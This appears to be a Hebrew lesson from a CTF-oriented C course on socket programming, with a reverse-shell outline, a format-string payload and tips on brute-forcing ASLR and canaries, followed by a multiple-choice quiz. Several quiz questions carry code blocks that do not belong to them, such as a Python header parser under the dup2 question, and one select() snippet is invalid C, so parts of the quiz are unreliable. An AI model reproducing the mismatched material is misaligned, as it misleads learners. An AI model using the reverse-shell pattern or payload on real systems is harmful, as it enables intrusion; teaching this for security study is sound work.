Sockets ורשת ב-C
Sockets ורשת ב-C — ה-API של הרשת
Socket הוא endpoint לתקשורת ברשת — כמו FD לקובץ אבל לחיבור רשת. כל CTF שמשדר על רשת (Pwn over TCP, Reverse Shell) מבוסס על Sockets. ב-C, Socket API הוא BSD Sockets — תקן מ-1983 שעדיין משמש היום בכל מערכת הפעלה.
- יסודות — Socket, Address, Byte Order (htons/htonl)
- TCP Server — socket, bind, listen, accept, send/recv
- TCP Client — socket, connect, send/recv
- Forking Server — fork לכל Client, ASLR/Canary ב-CTF
- select/poll/epoll — I/O Multiplexing
- UDP — recvfrom, sendto
- Network Sockets ב-Assembly — זיהוי ב-IDA/Ghidra
- Dry Run — ניתוח Server פגיע + וולנרביליטים
◄ שאלון C — socket(), bind(), accept(), send/recv, Byte Order
◄ Reverse Engineering — זיהוי Network Server ב-Assembly, מציאת Protocol
◄ Exploit Development — Reverse Shell דרך Socket, Format String over Network
יסודות: Socket, Address ו-Byte Order
Socket הוא File Descriptor לתקשורת. כמו open() מחזיר FD לקובץ, socket() מחזיר FD לחיבור רשת. ניתן לקרוא/לכתוב עליו עם read/write (או send/recv).
| סוג | קבוע | מאפיינים | שימוש |
|---|---|---|---|
| TCP | SOCK_STREAM | אמין, סדרתי, חיבור דו-כיווני | HTTP, SSH, CTF Pwn |
| UDP | SOCK_DGRAM | מהיר, ללא חיבור, ייתכן אובדן | DNS, VoIP, Gaming |
| RAW | SOCK_RAW | גישה ישירה ל-Packets, דורש root | Ping, Nmap, Crafting |
Byte Order — htons, htonl, inet_pton
הרשת משתמשת ב-Big-Endian (Network Byte Order). x86 הוא Little-Endian. חובה להמיר לפני כל גישה לPort או IP — אחרת Port 8080 הופך ל-Port 36895!
#include <arpa/inet.h>
#include <netinet/in.h>
// htons = Host TO Network Short (16-bit: port)
// htonl = Host TO Network Long (32-bit: IP address)
// ntohs / ntohl = Network TO Host
uint16_t port_network = htons(8080);
// 8080 = 0x1F90 → htons → 0x901F (Big-Endian)
// inet_pton: String IP → Binary
struct in_addr ip_bin;
inet_pton(AF_INET, "192.168.1.1", &ip_bin);
// inet_ntop: Binary → String IP
char ip_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &ip_bin, ip_str, sizeof(ip_str));
// ip_str = "192.168.1.1"
// INADDR_ANY = 0.0.0.0 (האזן על כל interfaces)! שכחת htons — הטעות הנפוצה ביותר ›
// ✗ שגוי:
addr.sin_port = 8080; // Port 0x901F = 36895 בפועל!
// ✓ נכון:
addr.sin_port = htons(8080); // Port 8080 נשלח נכון
// כלל אצבע: כל ערך שנכנס ל-sockaddr_in → htons/htonl קודם!TCP Server: מאפס עד Accept
Server TCP מבצע 5 שלבים: socket() → bind() → listen() → accept() → send/recv(). נלמד כל שלב לעומק.
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
// ─── שלב 1: socket() ──────────────────────────────────
int server_fd = socket(AF_INET, SOCK_STREAM, 0);
// AF_INET=IPv4, SOCK_STREAM=TCP, 0=auto protocol
// SO_REUSEADDR: מאפשר Bind מחדש אחרי Crash (חובה!)
int opt = 1;
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
// ─── שלב 2: bind() — קישור ל-Port ────────────────────
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY); // כל interfaces
server_addr.sin_port = htons(8080);
bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
// ─── שלב 3: listen() — מצב האזנה ─────────────────────
listen(server_fd, 10); // backlog=10: תור Connections ממתינות
printf("Listening on port 8080...\n");
// ─── שלב 4: accept() — קבלת Client ───────────────────
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
int client_fd = accept(server_fd,
(struct sockaddr *)&client_addr, &client_len);
// accept() חוסם עד שClient מתחבר!
// מחזיר FD חדש לחיבור עם Client ספציפי
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, sizeof(client_ip));
printf("Client: %s:%d\n", client_ip, ntohs(client_addr.sin_port));
// ─── שלב 5: send/recv ─────────────────────────────────
send(client_fd, "Welcome!\n", 9, 0);
char buf[1024] = {0};
ssize_t n = recv(client_fd, buf, sizeof(buf)-1, 0);
if (n == 0) printf("Client disconnected\n");
else printf("Got: %s\n", buf);
close(client_fd);
close(server_fd);client_fd = Connected Socket — FD לשיחה עם Client ספציפי
accept() יוצר client_fd חדש לכל Client. 100 Clients = server_fd אחד + 100 client_fds.
שגיאה נפוצה: send/recv על server_fd במקום client_fd → שגיאה!
TCP Client ו-Forking Server
Client TCP = 3 שלבים: socket() → connect() → send/recv(). הרבה יותר פשוט מServer. Forking Server = fork() לכל Client לטיפול מקבילי.
TCP Client
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(8080);
inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr);
// connect() — חוסם עד שהחיבור נוצר (3-way handshake)
connect(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
printf("Connected!\n");
send(sock_fd, "Hello Server!\n", 14, 0);
char buf[1024] = {0};
recv(sock_fd, buf, sizeof(buf)-1, 0);
printf("Server: %s\n", buf);
close(sock_fd);Forking Server — שרת מקבילי
signal(SIGCHLD, SIG_IGN); // מנע Zombie processes
while (1) {
int client_fd = accept(server_fd, NULL, NULL);
if (client_fd < 0) continue;
pid_t pid = fork();
if (pid == 0) {
// ─── Child: טפל ב-Client ──────────────────
close(server_fd); // Child לא צריך זה!
handle_client(client_fd);
exit(0);
} else {
// ─── Parent: המשך להאזין ──────────────────
close(client_fd); // Parent לא צריך זה!
}
}◄ ASLR: כל Child מקבל אותו Layout כמו Parent (fork=COW) → Brute-Force כתובות!
◄ Canary: אותו Canary לכל Children → Canary Brute-Force byte-by-byte
◄ FDs: חובה לסגור client_fd ב-Parent ו-server_fd ב-Child!
select/poll/epoll ו-UDP
במקום fork לכל Client, אפשר להשתמש ב-select() לניטור מספר FDs בו-זמנית — Thread אחד מטפל בכמה Clients. UDP = תקשורת ללא חיבור עם recvfrom/sendto.
select() — I/O Multiplexing
fd_set read_fds;
FD_ZERO(&read_fds); // נקה Set
FD_SET(server_fd, &read_fds); // הוסף server_fd
FD_SET(client_fd, &read_fds); // הוסף client_fd
int max_fd = MAX(server_fd, client_fd) + 1;
struct timeval timeout = { .tv_sec = 5, .tv_usec = 0 };
int ready = select(max_fd, &read_fds, NULL, NULL, &timeout);
if (ready == 0) { printf("Timeout!\n"); }
else {
if (FD_ISSET(server_fd, &read_fds))
int new_client = accept(server_fd, NULL, NULL); // חיבור חדש
if (FD_ISSET(client_fd, &read_fds))
recv(client_fd, buf, sizeof(buf)-1, 0); // נתונים ממתינים
}| שיטה | מנגנון | יתרון | חסרון |
|---|---|---|---|
| fork/thread | Process/Thread לכל Client | קל לקוד | כבד ב-RAM/CPU |
| select() | FD Set, O(n) scan | פשוט | מקסימום 1024 FDs |
| poll() | Pollfd Array, O(n) | ללא מגבלת FDs | עדיין O(n) |
| epoll() | Kernel event queue, O(1) | סקלבילי מאוד | Linux בלבד |
UDP Server
int udp_fd = socket(AF_INET, SOCK_DGRAM, 0); // SOCK_DGRAM = UDP
// ... bind זהה לTCP ...
char buf[1024] = {0};
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
// recvfrom: קבל Packet + שמור כתובת שולח
ssize_t n = recvfrom(udp_fd, buf, sizeof(buf)-1, 0,
(struct sockaddr*)&client_addr, &client_len);
// sendto: שלח תשובה לשולח
sendto(udp_fd, "ACK", 3, 0,
(struct sockaddr*)&client_addr, client_len);
close(udp_fd);Sockets ב-Assembly ו-Dry Run: Server פגיע
זיהוי Socket calls ב-Assembly וניתוח וולנרביליטים בServer — שני מיומנויות ליבה ב-CTF.
Socket Calls ב-Assembly
; ─── socket(AF_INET, SOCK_STREAM, 0) ב-32bit ─────────────
push 0 ; protocol = 0
push 1 ; SOCK_STREAM = 1
push 2 ; AF_INET = 2
call socket
mov [ebp-4], eax ; שמור FD
; ─── htons(8080) = 0x901F — זיהוי Port ב-IDA ────────────
push 0x901F ; ← Port 8080 ב-Network Byte Order!
; push 0x0101A8C0 ; ← inet_addr("192.168.1.1")
; ─── Reverse Shell Pattern ────────────────────────────────
; socket(AF_INET, SOCK_STREAM, 0) → sock_fd
; connect(sock_fd, attacker_addr) → חיבור לAttacker
; dup2(sock_fd, 0) → stdin = socket
; dup2(sock_fd, 1) → stdout = socket
; dup2(sock_fd, 2) → stderr = socket
; execve("/bin/sh", ["/bin/sh"], NULL) → Shell!| C Function | מה לחפש ב-IDA/Ghidra | מה זה אומר |
|---|---|---|
| socket() | push 0; push 1; push 2; call socket | TCP Socket נוצר |
| bind() | push 16; lea [addr]; call bind | Server קושר Port |
| listen() | push backlog; push fd; call listen | Server מאזין |
| accept() | call accept + loop עם jmp אחורה | Server מחכה לClients |
| htons(8080) | push 0x901F | Port 8080 ב-Network Order |
אתגר מעשי — רשתות — פרסור כותרת פרוטוקול
שיא השיעור: תכנות מערכת ברמה נמוכה — זיכרון, קבצים, תהליכים, מקבילות. ההגשה נבדקת אוטומטית.
סיכום שיעור 38
- Socket = FD לתקשורת רשת. TCP (SOCK_STREAM) = אמין. UDP (SOCK_DGRAM) = מהיר
- Byte Order: תמיד htons(port) ו-htonl(ip)! שכחה = Port/IP שגוי
- TCP Server: socket() → setsockopt(SO_REUSEADDR) → bind() → listen() → accept() → send/recv()
- server_fd = מאזין לConnections. client_fd = מדבר עם Client. לא לבלבל!
- TCP Client: socket() → connect() → send/recv(). פשוט יותר!
- Forking Server: fork() לכל Client. ASLR+Canary זהים לכל Children = Brute-Force!
- select()/poll()/epoll(): I/O Multiplexing — Thread אחד, כמה Clients
- UDP: recvfrom()+sendto(). אין חיבור, כל Packet עצמאי
- Reverse Shell: socket→connect→dup2(0/1/2)→execve("/bin/sh")
- ב-RE: push 2,1,0 + call socket = TCP Socket. push 0x901F = htons(8080)
שאלות תרגול ותשובות (15)
שאלה 1.1 — Byte Order · מדוע חייבים לקרוא htons(8080) לפני הכנסת ה-Port ל-sockaddr_in?
- א. הרשת עובדת ב-Big-Endian ואילו x86 עובד ב-Little-Endian, ולכן ללא ההמרה של htons ערך הפורט יישלח שגוי לגמרי כאן
- ב. מכיוון שהערך 8080 גדול מדי למספר בשפת C: הנחה שגויה, אף שהערך 8080 נכנס בקלות בטיפוס short וההמרה נועדה לסדר הבתים
- ג. מכיוון ש-htons מוסיפה Padding אל הפורט: הנחה שגויה, אף שהיא רק ממירה את סדר הבתים ואינה מוסיפה כלל Padding אל הפורט
- ד. זו רק מוסכמה שאינה משנה בפועל: הנחה שגויה, אף שללא ההמרה של htons סדר הבתים של הפורט יהיה שגוי והחיבור ייכשל כאן
✓ תשובה: א) — Network Byte Order = Big-Endian. 8080=0x1F90. ב-Little-Endian ייאחסן כ-0x90 0x1F. htons הופך לסדר Big-Endian: 0x1F 0x90 = 8080 ברשת. ללא htons: Port 0x901F = 36895!
שאלה 1.2 — Socket Types · איזה סוג Socket מתאים לשיחת CTF Pwn שמצריכה חיבור אמין ורצף הודעות מסודר?
- א. SOCK_STREAM (TCP): מספק חיבור אמין ורצף הודעות מסודר, ולכן הוא המתאים לחיבור pwn מסוג CTF כפי שהתבקש בשאלה כאן
- ב. SOCK_DGRAM (UDP): הנחה שגויה, אף שהוא אינו מספק אמינות או סדר הודעות ולכן אינו מתאים לחיבור שדורש רצף מסודר ואמין כאן
- ג. SOCK_RAW: הנחה שגויה, אף שהוא מיועד לגישה גולמית לחבילות רשת ברמה נמוכה ואינו מספק חיבור אמין ומסודר מובנה כמו TCP
- ד. SOCK_SEQPACKET: הנחה שגויה, אף שהוא פחות נפוץ ובדרך כלל SOCK_STREAM הוא הבחירה הסטנדרטית לחיבור TCP אמין ומסודר כאן
✓ תשובה: א) SOCK_STREAM (TCP) — TCP = אמין, מסודר, מבטיח הגעת Packets בסדר. CTF Pwn Services כמעט תמיד TCP. UDP לא מבטיח סדר או הגעה.
שאלה 1.3 — inet_pton · מה ההבדל בין inet_pton ל-inet_ntop?
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
// ─── שלב 1: socket() ──────────────────────────────────
int server_fd = socket(AF_INET, SOCK_STREAM, 0);
// AF_INET=IPv4, SOCK_STREAM=TCP, 0=auto protocol
// SO_REUSEADDR: מאפשר Bind מחדש אחרי Crash (חובה!)
int opt = 1;
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
// ─── שלב 2: bind() — קישור ל-Port ────────────────────
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY); // כל interfaces
server_addr.sin_port = htons(8080);
bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
// ─── שלב 3: listen() — מצב האזנה ─────────────────────
listen(server_fd, 10); // backlog=10: תור Connections ממתינות
printf("Listening on port 8080...\n");
// ─── שלב 4: accept() — קבלת Client ───────────────────
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
int client_fd = accept(server_fd,
(struct sockaddr *)&client_addr, &client_len);
// accept() חוסם עד שClient מתחבר!
// מחזיר FD חדש לחיבור עם Client ספציפי
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, sizeof(client_ip));
printf("Client: %s:%d\n", client_ip, ntohs(client_addr.sin_port));
// ─── שלב 5: send/recv ─────────────────────────────────
send(client_fd, "Welcome!\n", 9, 0);
char buf[1024] = {0};
ssize_t n = recv(client_fd, buf, sizeof(buf)-1, 0);
if (n == 0) printf("Client disconnected\n");
else printf("Got: %s\n", buf);
close(client_fd);
close(server_fd);- א. שניהם זהים ורק שמותיהם שונים: הנחה שגויה, אף שהם מבצעים המרות בכיוונים הפוכים בין ייצוג טקסטואלי לבינארי של הכתובת כאן
- ב. pton מיועד ל-IPv4 ו-ntop ל-IPv6: הנחה שגויה, אף ששתי הפונקציות תומכות בשתי הגרסאות וההבדל ביניהן הוא בכיוון ההמרה כאן
- ג. ntop הוא פשוט המהיר יותר מבין השניים: הנחה שגויה, אף שההבדל האמיתי הוא בכיוון ההמרה בין מחרוזת לבינארי ולא במהירות שלהם
- ד. pton ממיר ממחרוזת אל בינארי, ואילו ntop ממיר מבינארי אל מחרוזת (האות p מסמנת Presentation ו-n מסמנת Network) כאן
✓ תשובה: ד) — p=Presentation (String), n=Network (Binary). inet_pton("192.168.1.1") → struct in_addr. inet_ntop(&addr) → "192.168.1.1". החלף p↔n בשם = כיוון ההמרה.
שאלה 2.1 — סדר שלבי Server · מהו הסדר הנכון לבניית TCP Server?
- א. bind ← socket ← listen ← accept ← send/recv: הנחה שגויה, אף שיש ליצור את השקע ב-socket עוד לפני שקושרים אותו ב-bind כאן
- ב. socket ← listen ← bind ← accept ← send/recv: הנחה שגויה, אף שיש לקשור את השקע ב-bind עוד לפני שמאזינים לו ב-listen כאן
- ג. socket ← connect ← listen ← accept ← send/recv: הנחה שגויה, אף ש-connect שייך לצד ה-Client ולא לבניית צד ה-Server כאן
- ד. socket ← bind ← listen ← accept ← send/recv: יצירת השקע, קשירתו לפורט, האזנה, קבלת חיבור, ואז החלפת נתונים כאן
✓ תשובה: ד) socket → bind → listen → accept → send/recv — הסדר קבוע ומחייב: קודם מייצרים FD, אחר כך קושרים לPort, אחר כך מאזינים, ורק אז מקבלים חיבורים.
שאלה 2.2 — accept() · מה מחזירה accept() בהצלחה?
- א. הערך 1 שמסמן הצלחה: הנחה שגויה, אף ש-accept מחזירה File Descriptor חדש של החיבור ולא ערך הצלחה בוליאני פשוט כמו כאן
- ב. הערך 0: הנחה שגויה, אף ש-accept מחזירה File Descriptor חדש וחיובי של החיבור, והערך 0 אינו מסמן כלל את הצלחתה כאן כן
- ג. FD חדש: שקע מחובר (Connected Socket) שמייצג את החיבור אל אותו Client ספציפי, שדרכו מתבצעת התקשורת איתו בהמשך כאן
- ד. כתובת ה-IP של ה-Client: הנחה שגויה, אף ש-accept מחזירה File Descriptor של החיבור, וכתובת ה-Client מתקבלת בפרמטר נפרד
✓ תשובה: ג) — accept() חוסם עד שClient מתחבר ואז מחזיר FD חדש (Connected Socket). כל Client = FD נפרד. שגיאה: -1. server_fd נשאר פתוח לחיבורים נוספים.
שאלה 2.3 — SO_REUSEADDR · מדוע מוסיפים setsockopt(SO_REUSEADDR) לכל Server?
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(8080);
inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr);
// connect() — חוסם עד שהחיבור נוצר (3-way handshake)
connect(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
printf("Connected!\n");
send(sock_fd, "Hello Server!\n", 14, 0);
char buf[1024] = {0};
recv(sock_fd, buf, sizeof(buf)-1, 0);
printf("Server: %s\n", buf);
close(sock_fd);- א. מאפשר לקשור מחדש את אותו הפורט מיד לאחר קריסה או הפעלה מחדש, בלי לקבל את השגיאה Address already in use למשך דקות
- ב. מאפשר לשני שרתים להאזין על אותו הפורט בו-זמנית: הנחה שגויה, אף שהאפשרות רק מאפשרת קשירה מחדש מהירה ולא האזנה כפולה
- ג. מגדיל את גודל ה-Backlog של תור החיבורים: הנחה שגויה, אף שגודל ה-Backlog נקבע בפרמטר של listen ולא באפשרות SO_REUSEADDR
- ד. מאפשר להפעיל UDP ו-TCP יחד על אותו הפורט: הנחה שגויה, אף שהאפשרות עוסקת בקשירה מחדש של הפורט ולא בשילוב פרוטוקולים
✓ תשובה: א) — כש-Server מתרסק, הPort נשאר ב-TIME_WAIT state עד ~2 דקות. SO_REUSEADDR מאפשר bind מחדש מיד. חובה בכל Server שמתפתח ומופעל שוב ושוב.
שאלה 3.1 — Client vs Server · מה ההבדל המרכזי בין בניית TCP Client לבניית TCP Server?
- א. ה-Client משתמש ב-UDP וה-Server ב-TCP: הנחה שגויה, אף ששניהם יכולים להשתמש ב-TCP וההבדל הוא במי יוזם את החיבור ביניהם
- ב. השרת מבצע bind ו-listen ו-accept, ואילו ה-Client רק מבצע connect: השרת ממתין לחיבורים וה-Client הוא שיוזם אותם כאן
- ג. ה-Client אינו יכול כלל לשלוח נתונים: הנחה שגויה, אף שה-Client שולח ומקבל נתונים כמו השרת לאחר יצירת החיבור ביניהם כאן
- ד. אין ביניהם כל הבדל וזהו אותו קוד בדיוק: הנחה שגויה, אף שהשרת קושר ומאזין ומקבל בעוד ה-Client רק מתחבר אל השרת בלבד כאן
✓ תשובה: ב) — Server: socket→bind→listen→accept (פסיבי, ממתין). Client: socket→connect (אקטיבי, יוזם). לאחר accept()/connect() שניהם משתמשים בsend/recv זהה.
שאלה 3.2 — Forking Server ו-ASLR · מדוע Forking Server מאפשר Brute-Force על ASLR ב-CTF?
- א. מכיוון ש-ASLR כלל אינו עובד על שרתים: הנחה שגויה, אף ש-ASLR עובד היטב, אך כל fork משמר את אותן הכתובות של ה-Parent כאן
- ב. מכיוון שהפעולה fork מכבה את ה-ASLR: הנחה שגויה, אף ש-fork אינו מכבה כלל את ה-ASLR אלא משתף את אותן הכתובות דרך COW כאן
- ג. כל Child מקבל אותו Layout כמו ה-Parent (fork הוא COW), ולכן כתובת הבסיס זהה בכל חיבור וניתן לבצע Brute Force עליה כאן
- ד. מכיוון ש-ASLR מרונדם פעם אחת ביום בלבד: הנחה שגויה, אף ש-ASLR מרונדם בכל הפעלה של תהליך, אך fork משמר את כתובות ההורה
✓ תשובה: ג) — fork() מעתיק את הזיכרון (Copy-On-Write). ה-ASLR seed נקבע פעם אחת לParent ולא משתנה ב-fork. כל Child = אותה כתובת libc/heap. שלח 256 ניסיונות לשבור byte אחד של Canary/Address.
שאלה 3.3 — FD בForking · בForking Server, מה חייב ה-Child לסגור ומה חייב ה-Parent לסגור?
fd_set read_fds;
FD_ZERO(&read_fds); // נקה Set
FD_SET(server_fd, &read_fds); // הוסף server_fd
FD_SET(client_fd, &read_fds); // הוסף client_fd
int max_fd = MAX(server_fd, client_fd) + 1;
struct timeval timeout = { .tv_sec = 5, .tv_usec = 0 };
int ready = select(max_fd, &read_fds, NULL, NULL, &timeout);
if (ready == 0) { printf("Timeout!\n"); }
else {
if (FD_ISSET(server_fd, &read_fds))
int new_client = accept(server_fd, NULL, NULL); // חיבור חדש
if (FD_ISSET(client_fd, &read_fds))
recv(client_fd, buf, sizeof(buf)-1, 0); // נתונים ממתינים
}- א. ה-Child סוגר את client_fd וה-Parent סוגר את server_fd: הנחה שגויה, אף שהבן מטפל בלקוח וצריך את client_fd וההורה ממשיך להאזין
- ב. ה-Child סוגר את server_fd ואילו ה-Parent סוגר את client_fd: כל אחד סוגר את השקע שאין לו בו צורך כדי למנוע דליפות FD
- ג. שניהם סוגרים הכול: הנחה שגויה, אף שהבן זקוק ל-client_fd כדי לטפל בלקוח וההורה זקוק ל-server_fd כדי להמשיך להאזין לחיבורים
- ד. אין כלל צורך לסגור שכן מערכת ההפעלה מטפלת בזה: הנחה שגויה, אף שאי-סגירת שקעים מיותרים גורמת לדליפת File Descriptors בשרת
✓ תשובה: ב) — Child מטפל בClient → לא צריך server_fd → close(server_fd). Parent ממשיך לacceptוחדשים → לא צריך client_fd → close(client_fd). אחרת: FD Leak + Client לא מקבל EOF.
שאלה 4.1 — select() · מה מחזיר select() כש-Timeout עבר ולא היה שום אירוע?
- א. 1-: הנחה שגויה, אף שהערך 1- מוחזר רק במקרה של שגיאה, ואילו פקיעת ה-Timeout ללא אירוע מחזירה דווקא את הערך אפס כאן כן
- ב. 1: הנחה שגויה, אף שהערך החיובי מציין את מספר ה-FDs המוכנים, ואילו פקיעת ה-Timeout ללא אירוע מחזירה דווקא את הערך אפס כאן
- ג. 0: כאשר ה-Timeout עבר ולא התרחש שום אירוע על אף אחד מן ה-File Descriptors, הפונקציה select מחזירה את הערך אפס כאן כן
- ד. EOF: הנחה שגויה, אף ש-EOF אינו ערך שמוחזר מ-select כלל, ופקיעת ה-Timeout ללא אירוע מחזירה דווקא את הערך אפס במקרה הזה
✓ תשובה: ג) 0 — select() מחזיר: מספר FDs מוכנים (>0), 0 ב-Timeout, -1 בשגיאה. FD_ISSET() לאחר select() בודק אם FD ספציפי מוכן.
שאלה 4.2 — UDP vs TCP · מה ההבדל בין UDP Server לTCP Server בצד הקוד?
- א. UDP כלל אינו זקוק לקריאה ל-socket: הנחה שגויה, אף ששרת UDP כן יוצר שקע עם socket, וההבדל הוא בהיעדר listen ו-accept בו
- ב. UDP זקוק לקריאה ל-connect בדיוק כמו TCP: הנחה שגויה, אף ששרת UDP אינו יוצר חיבור עם connect ומשתמש ב-recvfrom ו-sendto
- ג. UDP משתמש ב-SOCK_DGRAM, אין בו listen או accept, ומשתמשים בו ב-recvfrom ו-sendto במקום ב-recv ו-send הרגילים כאן
- ד. שרת UDP אינו יכול כלל לדעת מי שלח אליו: הנחה שגויה, אף ש-recvfrom מספקת גם את כתובת השולח יחד עם הנתונים שהתקבלו כאן
✓ תשובה: ג) — UDP: SOCK_DGRAM. אין listen/accept (אין חיבור). recvfrom() מקבל Packet + כתובת שולח. sendto() שולח לכתובת ספציפית. כל Packet עצמאי.
שאלה 4.3 — epoll vs select · מדוע Nginx/Redis/Node.js משתמשים ב-epoll() ולא ב-select()?
; ─── socket(AF_INET, SOCK_STREAM, 0) ב-32bit ─────────────
push 0 ; protocol = 0
push 1 ; SOCK_STREAM = 1
push 2 ; AF_INET = 2
call socket
mov [ebp-4], eax ; שמור FD
; ─── htons(8080) = 0x901F — זיהוי Port ב-IDA ────────────
push 0x901F ; ← Port 8080 ב-Network Byte Order!
; push 0x0101A8C0 ; ← inet_addr("192.168.1.1")
; ─── Reverse Shell Pattern ────────────────────────────────
; socket(AF_INET, SOCK_STREAM, 0) → sock_fd
; connect(sock_fd, attacker_addr) → חיבור לAttacker
; dup2(sock_fd, 0) → stdin = socket
; dup2(sock_fd, 1) → stdout = socket
; dup2(sock_fd, 2) → stderr = socket
; execve("/bin/sh", ["/bin/sh"], NULL) → Shell!- א. מכיוון ש-select כלל אינו נתמך בסביבת לינוקס: הנחה שגויה, אף ש-select נתמך היטב בלינוקס, אך epoll יעיל ממנו בהרבה בעומסים
- ב. מכיוון ש-epoll פשוט קל יותר לתכנות מ-select: הנחה שגויה, אף שההבדל האמיתי הוא בסיבוכיות O(1) מול O(n) ולא בקלות התכנות שלו
- ג. epoll הוא O(1) לכל אירוע (הקרנל מעדכן), ואילו select הוא O(n) (סורק את כל ה-FDs), ולכן epoll סקלבילי לאלפי חיבורים כאן
- ד. מכיוון ש-select צורך יותר זיכרון RAM: הנחה שגויה, אף שההבדל המרכזי הוא בסיבוכיות הזמן של טיפול באירועים ולא בצריכת הזיכרון
✓ תשובה: ג) — select() סורק את כל FD Set בכל קריאה = O(n). עם 10,000 connections = 10,000 בדיקות. epoll: Kernel שולח רק FDs שינוים = O(1). גם: select מוגבל ל-1024 FDs.
שאלה 5.1 — זיהוי ב-Assembly · ב-Assembly רואים: push 0x901F לפני call bind. מה ניתן להסיק?
- א. השרת מאזין על פורט 36895: הנחה שגויה, אף שהערך 0x901F הוא htons(8080) ולא הפורט 0x901F שנקרא ישירות בסדר הפוך במערכת
- ב. זוהי כתובת ה-IP של השרת: הנחה שגויה, אף שהערך שנדחף לפני bind הוא הפורט לאחר המרת htons ולא כתובת ה-IP של השרת כאן
- ג. זהו גודל ה-Buffer של השרת: הנחה שגויה, אף שהערך שנדחף לפני הקריאה ל-bind הוא הפורט להאזנה ולא גודל buffer כלשהו בשרת
- ד. השרת מאזין על פורט 8080, שכן הערך 0x901F הוא התוצאה של htons(8080) לאחר המרת סדר הבתים לסדר הבתים של הרשת כאן
✓ תשובה: ד) Port 8080 — 0x901F ב-Network Byte Order = htons(8080). בדיקה: ntohs(0x901F) = 0x1F90 = 8080. זו אחת הדרכים לזהות Protocol ב-IDA/Ghidra!
שאלה 5.2 — Format String · מה הבעיה ב-printf(greeting) כשgreeting מגיע מ-recv?
- א. המשתנה greeting עלול להיות ארוך מדי: הנחה שגויה, אף שהבעיה האמיתית היא פירוש מפרטי ה-Format שבקלט ולא אורך המחרוזת כאן
- ב. Format String Vulnerability: תוקף שולח "%x %x %n" והפונקציה printf תפרש אותם ותאפשר קריאה או כתיבה לכל כתובת בזיכרון
- ג. הפונקציה printf אינה עובדת עם char[]: הנחה שגויה, אף ש-printf עובדת היטב עם מערכי תווים, והבעיה היא בפירוש ה-Format שבקלט
- ד. אין כאן שום בעיה: הנחה שגויה, אף שהעברת קלט משתמש ישירות אל printf כ-Format String היא חולשת אבטחה חמורה וידועה מאוד כאן
✓ תשובה: ב) — printf(str) = printf(format_str) — אם str מכיל %x, %n וכו' הם יפורשו כ-format specifiers! "%n" כותב מספר תווים לכתובת ב-Stack → Write-What-Where. תיקון: printf("%s", greeting).
שאלה 5.3 — Reverse Shell · מה תפקיד dup2(sock_fd, 0) ב-Reverse Shell Shellcode?
def parse_header(data: list):
if len(data) < 4: return None
ver, typ = data[0], data[1]
length = (data[2] << 8) | data[3] # אורך big-endian (16 סיביות)
if len(data) < 4 + length: return None # קטום
return {'version': ver, 'type': typ, 'length': length,
'payload': data[4:4 + length]}- א. מחליף את stdin (FD 0) בשקע, כך שכל מה שהתוקף שולח דרך ה-socket הופך לקלט הסטנדרטי של המעטפת שתופעל בהמשך הריצה כאן
- ב. פותח שקע (Socket) חדש: הנחה שגויה, אף ש-dup2 רק מכפיל את ה-FD הקיים אל מספר 0 ואינו פותח כלל שקע חדש כלשהו במערכת כאן
- ג. מדפיס אל stdout: הנחה שגויה, אף ש-dup2 מפנה את ה-stdin אל השקע ואינו מבצע כלל פעולת הדפסה אל הפלט הסטנדרטי של התהליך
- ד. סוגר את השקע (Socket): הנחה שגויה, אף ש-dup2 מכפיל את ה-FD של השקע אל מספר 0 ואינו סוגר כלל את השקע המקורי שנפתח כאן
✓ תשובה: א) — dup2(sock_fd, 0/1/2) מחליף stdin/stdout/stderr בSocket. אחרי execve("/bin/sh"): ה-Shell קורא input מהSocket (קלט מהתוקף) ושולח output חזרה לSocket (אל התוקף). Reverse Shell מוחלט!